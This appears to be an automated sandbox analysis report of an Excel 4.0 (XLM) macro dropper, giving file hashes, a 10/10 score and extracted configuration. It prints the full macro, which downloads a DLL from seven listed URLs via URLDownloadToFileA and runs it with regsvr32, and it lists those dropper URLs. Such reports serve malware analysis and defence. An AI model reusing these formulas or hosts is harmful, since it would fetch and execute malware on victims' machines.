b57b2e29f2c1e6055519631c2b5bd3649bb0d6b8b84103a0a4084326aa1b176e

General

Target

b57b2e29f2c1e6055519631c2b5bd3649bb0d6b8b84103a0a4084326aa1b176e
Size

20KB
Sample

241120-nmyejawbmd
MD5

06e24cdca3f1d7eedd445720f850f92e
SHA1

920ebb28f24c1d4846a7f63e4bc6118aff6bc4a0
SHA256

b57b2e29f2c1e6055519631c2b5bd3649bb0d6b8b84103a0a4084326aa1b176e
SHA512

175f784174ec05d3623271507d505f0ad1be4fdc352d3238767fa482b019c58a1387591b24ad096bb39e65dbc87f7ae816b93bd5b492cc6e878d08dd700694e0
SSDEEP

384:m/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:mtINAo4FLkCBn9kC+xbLzJy

Score

10^/10

Malware Config

Extracted

Rule

Excel 4.0 XLM Macro

C2

http://antaoco.com/wp-admin/5WaIjOuHnUj/

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

http://amkltd.co.uk/amk/IPuhx/

http://gees.com.pl/geessw/2YmxITo6/

http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://antaoco.com/wp-admin/5WaIjOuHnUj/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://andrewpharma.com/wp-includes/WqgKtKrYJM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amkltd.co.uk/amk/IPuhx/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gees.com.pl/geessw/2YmxITo6/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

http://antaoco.com/wp-admin/5WaIjOuHnUj/

xlm40.dropper

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

xlm40.dropper

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

xlm40.dropper

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

xlm40.dropper

http://amkltd.co.uk/amk/IPuhx/

xlm40.dropper

http://gees.com.pl/geessw/2YmxITo6/

xlm40.dropper

http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

http://antaoco.com/wp-admin/5WaIjOuHnUj/

xlm40.dropper

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

xlm40.dropper

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

xlm40.dropper

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

xlm40.dropper

http://amkltd.co.uk/amk/IPuhx/

xlm40.dropper

http://gees.com.pl/geessw/2YmxITo6/

Targets

- Target
  
  b57b2e29f2c1e6055519631c2b5bd3649bb0d6b8b84103a0a4084326aa1b176e
- Size
  
  20KB
- MD5
  
  06e24cdca3f1d7eedd445720f850f92e
- SHA1
  
  920ebb28f24c1d4846a7f63e4bc6118aff6bc4a0
- SHA256
  
  b57b2e29f2c1e6055519631c2b5bd3649bb0d6b8b84103a0a4084326aa1b176e
- SHA512
  
  175f784174ec05d3623271507d505f0ad1be4fdc352d3238767fa482b019c58a1387591b24ad096bb39e65dbc87f7ae816b93bd5b492cc6e878d08dd700694e0
- SSDEEP
  
  384:m/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:mtINAo4FLkCBn9kC+xbLzJy
Score

10^/10

discovery
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
behavioral1 behavioral2